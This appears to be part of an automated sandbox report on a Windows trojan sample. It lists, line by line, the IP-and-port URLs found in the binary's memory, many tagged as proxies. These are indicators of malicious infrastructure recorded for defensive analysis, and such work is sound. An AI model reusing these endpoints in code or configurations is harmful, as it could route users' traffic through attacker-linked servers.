Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.24.205.252:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.24.77.90:55555
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.24.77.90:55555://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.42.215:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.42.215:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.75.25:4444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.75.25:4444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.75.25:4444x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.96.180:5566
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.96.180:5566://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.106.93:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.106.93:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.118.176:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.118.176:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.66.30:61465
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA51E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.66.30:614652
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4FF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.66.30:61465://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:13247
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C846E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:13247://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD54000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAFA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:14075
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:14075://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:15460
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:15460://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:28501
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:28501://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:29631
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:29631://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:3769
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:3769://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:42147
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:42147://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:48821
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:48821://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8029000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:53728
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8029000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:53728://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:56732
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:56732://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAFCB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:59522
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:59522://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:59990
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:59990://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:62181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.2.102:62181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9424000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.177.143
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.177.143://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.177.143:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:26154
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:26154://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:33091
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:33091://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:62842
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:62842://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:9445
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.84.209:9445://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.85.79:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.85.79:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7652000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.90.1:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7652000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.90.1:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.56.101.184:21681
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.56.101.184:21681://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.14.159
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.14.159://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.14.159:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA84C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.147.11:62801
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.147.11:62801://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.178.220:12438
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.178.220:12438://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.178.222:12438
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.178.222:12438://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.2.185
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.2.185://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.243.214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.243.214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.243.214:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:23449
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:23449://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:32953
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:32953://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:51138
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:51138://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:52276
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C691F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:52276://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:6147
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:6147://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.70.80.76
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.70.80.76://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.70.80.76:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.83.118.9
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.83.118.9://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.12.46.62:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.12.46.62:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:30508
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:30508://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:40234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:40234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:51825
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:51825://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.135.195.236:43705
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.135.195.236:43705://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C782D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.135.195.236:55580
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.135.195.236:55580://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DEA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.135.46.7:10286
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.135.46.7:10286://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC87000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.182.195.54:30727
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.182.195.54:30727://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C674C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.182.195.54:53639
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.182.195.54:53639://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.182.195.54:57409
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.182.195.54:57409://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.182.195.54:57409x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.106.95:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.106.95:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.100:30318
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.100:30318://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.15:30463
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.15:30463://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.15:31554
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.15:31554://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.15:33736
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.15:33736://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.89:33054
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.89:33054://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.89:33054x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.89:34006
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.40.89:34006://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.42.105:33132
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.42.105:33132://proxy
